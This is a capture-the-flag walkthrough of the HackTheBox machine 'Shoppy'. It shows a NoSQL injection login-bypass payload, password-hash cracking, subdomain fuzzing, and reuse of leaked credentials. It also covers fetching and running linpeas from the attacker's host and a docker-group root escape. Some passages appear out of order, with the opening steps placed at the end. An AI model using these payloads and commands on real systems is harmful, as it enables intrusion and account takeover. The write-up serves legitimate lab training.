So let's change our request back in x-www-form-urlencoded. I tried with the username jaeger and got nothing but with admin it worked.
Here is the working request
username=admin%27%7C%7C%271%3D%3D1&password=test
We can see that we get a cookie and are redirected
Once logged in we get this page
We have function search user.
If we look for admin we get the possibility to "Download Export" which gives json file.
Here is the json we get when downloading the export
We have a hash for the admin password 23c6877d9e2b564ef8b32c3a23de27b2
Let's try to crack it. Before using hashcat I like to check on
Just for sanitiy I checked it with hash-identifier it is MD5
No luck with hashcat either. Let's explore the website again. Let's try again with nosqlinjection on the search field. We might get more users this way.
Ok I am trying the exact same paylaod
Let's try to crack josh's password now. And it works with crackstation! remembermethisway
The password does not work on ssh
Maybe it's time to enumerate subdomain. I always forget to do it at the begining but here it is worth trying because this password must work somewhere else.
I tried the big list in web content of sec list but had no luck the one that worked is the first in the DNS folder wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u 'http://shoppy.htb/' -H "HOST: FUZZ.shoppy.htb" --hc 301
┌──(kali㉿kali)-[~]
└─$ wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u 'http://shoppy.htb/' -H "HOST: FUZZ.shoppy.htb" --hc 301
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://shoppy.htb/
Total requests: 100000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000047340: 200 0 L 141 W 3122 Ch "mattermost - mattermost"
Total time: 0
Processed Requests: 100000
Filtered Requests: 99999
Requests/sec.: 0
We have something here. Let's add it in our /etc/hosts file 10.10.11.180 shoppy.htb mattermost.shoppy.htb And when we browse to http://mattermost.shoppy.htb/ we end up here.
Now let's try to login with our cracked password josh:remembermethisway
It is a platform with workspaces and chat for work. The version is 7.1.2 as we can see in the about pop up here
If we browse we can find some sensitive information in the "Deploy Machine" channel
Let's try to connect with ssh with these jaeger:Sh0ppyBest@pp!. It works
Privilege Escalation
From jaeger to deploy
First let's sudo -l
Let's have a look at this password-manager thing. There was a hint about it also in mattermost.
If we launch it it will ask for a password sudo -u deploy /home/deploy/password-manager
we need to lookup for a password in the files we can read.
Let's make a strings on the binary strings /home/deploy/password-manager. The following lines are interesting
Maybe if we use cat we will actually see a password cat /home/deploy/password-manager
Let's try Sample as a password. It works. We get another password Deploying@pp! the one for the user deploy
From deploy to root
We can now ssh as deploy
sudo -l does not help here let's get linpeas. Here are the spec of our target Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64 GNU/Linux
And in our target wget http://10.10.14.4/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64
So we need to analyze further a few things
We can run docker run -v /:/mnt --rm -it alpine chroot /mnt sh and it works! We are now root and can grab the last flag.
If we then browse to http://shoppy.htb/ we get this page
We have a login page
We can try nosql injection. This explains it very well
We get an error that reveals a username jaeger
Let's have a look at NoSQLInjection payloads from
We do not get anything here let's try this || 1==1 which looks like the classic sql injection translated in noSQL. You cand find it in of payloadAllTheThings github
. It does not find it so let's try to crack it
It works we get one more user
And it works
Here are more info about
It mentions docker as a 95% pe vector so def worth having a look. The deploy user is a member of the docker group. Also I remember of an example that was using this. Let's check
